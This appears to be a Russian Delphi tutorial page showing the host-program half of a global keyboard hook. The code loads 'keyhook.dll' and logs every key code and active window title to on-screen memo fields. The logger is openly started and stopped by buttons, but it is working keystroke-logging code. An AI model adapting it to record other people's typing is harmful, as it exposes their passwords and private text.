Содержание материала

Пример использования:

 

Code:

var

Form1: TForm1;

WndFlag: HWND; // дескриптор последнего окна

keys: string[41]; // нажатые клавишы

hDLL: THandle; // дескриптор загружаемой библиотеки

WM_MYKEYHOOK: Cardinal; // мо? сообщение

 

function GetWndText(WndH: HWND): string;

var

s: string;

Len: integer;

begin

Len:= GetWindowTextLength(WndH)+1; // полу?аю размер текста

if Len > 1 then

begin

SetLength(s, Len);

GetWindowText(WndH, @s[1], Len); // полу?аю сам текст, который записывается в s

Result:= s;

end

else

Result:= 'text not detected';

end;

 

procedure TForm1.Button1Click(Sender: TObject);

var

Hook: procedure (switch : Boolean; hMainProg: HWND) stdcall;

begin

{посылаю своему окну сообщение для того ?то бы не выводился первый символ - см. WndProc}

SendMessage(Form1.Handle, WM_MYKEYHOOK, VK_SPACE, Application.MainForm.Handle);

@hook:= nil; // инициализируем переменную hook

hDLL:=LoadLibrary(PChar('keyhook.dll')); { загрузка DLL }

if hDLL > HINSTANCE_ERROR then

begin { если вс? без ошибок, то }

@hook:=GetProcAddress(Hdll, 'hook'); { полу?аем указатель на необходимую процедуру}

Button2.Enabled:=True;

Button1.Enabled:=False;

StatusBar1.SimpleText:= 'Status: DLL loaded...';

hook(true, Form1.Handle);

StatusBar1.SimpleText:= 'Status: loging in progress...';

end

else

begin

ShowMessage('Ошибка при загрузке DLL !');

Exit;

end;

 

end;

 

procedure TForm1.Button2Click(Sender: TObject);

var

Hook: procedure (switch : Boolean; hMainProg: HWND) stdcall;

begin

@hook:= nil; // инициализируем переменную hook

if hDLL > HINSTANCE_ERROR then

begin { если вс? без ошибок, то }

@hook:=GetProcAddress(Hdll, 'hook'); { полу?аем указатель на необходимую процедуру}

Button1.Enabled:=True;

Button2.Enabled:=False;

hook(false, Form1.Handle);

if FreeLibrary(hDLL) then

begin

StatusBar1.SimpleText:= 'Status: DLL unloaded.';

sleep(1000)

end

else

begin

StatusBar1.SimpleText:= 'Status: ERROR while unloading DLL';

Exit;

end;

StatusBar1.SimpleText:= 'Status: loging stoped';

end;

 

end;

 

{

подмена процедуры окна - необходимо для обработки сообщений, поступивших из

DLL (см. исходный код DLL)

}

procedure TForm1.WndProc(var Msg: TMessage);

begin

inherited ; // выполняем вс? то, ?то должно происходить при поступлении сообщеня окну

{Но если пришло мо? сообщение - выполняем следующий код}

if Msg.Msg = WM_MYKEYHOOK then

begin

{

Если пользователь поменял окно или переменная, содержащая нажатые клавишы

превысила допустимое зна?ение - обнуляем keys и выводим статистику.

}

if (WndFlag <> HWND(Msg.lParam)) OR (Length(keys)>=1) then

begin

keys:=keys+String(Chr(Msg.wParam));

memo2.Text:=memo2.Text+' '+inttostr(ord(Chr(Msg.wParam)));

//label1.caption:=label1.caption+keys;

keys:='';

Memo1.Lines.Add(GetWndText(Msg.lParam));

WndFlag:= HWND(Msg.lParam)

end

else

keys:=keys+String(Chr(Msg.wParam));

end;

end;

 

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

freelibrary(hDLL);

end;

 

initialization

WndFlag:=0;

keys:= '';

{ регистрирую сво? сообщение в системе - то?но так же надо сделать и в теле DLL

?то бы DLL могла посылать главному приложению это сообщение.

}

WM_MYKEYHOOK:=RegisterWindowMessage('WM_MYKEYHOOK');

end.

 

 

Добавить комментарий

Не использовать не нормативную лексику.

Просьба писать ваши замечания, наблюдения и все остальное,
что поможет улучшить предоставляемую информацию на этом сайте.

ВСЕ КОММЕНТАРИИ МОДЕРИРУЮТСЯ ВРУЧНУЮ, ТАК ЧТО СПАМИТЬ БЕСПОЛЕЗНО!


Защитный код
Обновить